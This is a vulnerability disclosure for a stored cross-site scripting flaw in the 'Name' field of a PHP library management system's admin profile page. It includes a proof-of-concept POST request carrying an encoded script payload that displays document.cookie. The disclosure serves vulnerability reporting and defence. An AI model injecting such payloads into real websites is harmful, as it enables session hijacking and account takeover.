Library Management System With QR Code 1.0 Cross Site Scripting

`#### Title: Library Management System with QR code Attendance 1.0 Stored  
Cross-Site Scripting  
#### Author: Ashish Kumar (  
https://www.linkedin.com/in/ashish-kumar-0b65a3184)  
#### Date: 27.06.2022  
#### Vendor: https://www.sourcecodester.com/users/kingbhob02  
#### Software:  
https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html  
#### Version: 1.0  
#### Reference:  
https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/Cross%20Site%20Scripting(Stored)/POC.md  
  
#### Description：  
#### Library Management System with QR code Attendance is vulnerable to  
Stored cross-site scripting on the profile edit page. The "Name" parameter  
in 'http://localhost/LMS/admin/edit_admin_details.php' is vulnerable.  
  
#### Impact:  
An attacker could steal cookies with a crafted URL sent to the victims.  
  
### POC  
  
```  
POST /LMS/admin/edit_admin_details.php?id=admin HTTP/1.1  
Host: localhost  
Content-Length: 115  
Cache-Control: max-age=0  
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Windows"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/LMS/admin/edit_admin_details.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8  
Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pco  
Connection: close  
  
Name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&EmailId=admin%  
40gmail.com&MobNo=0&Password=admin&submit=  
```  
`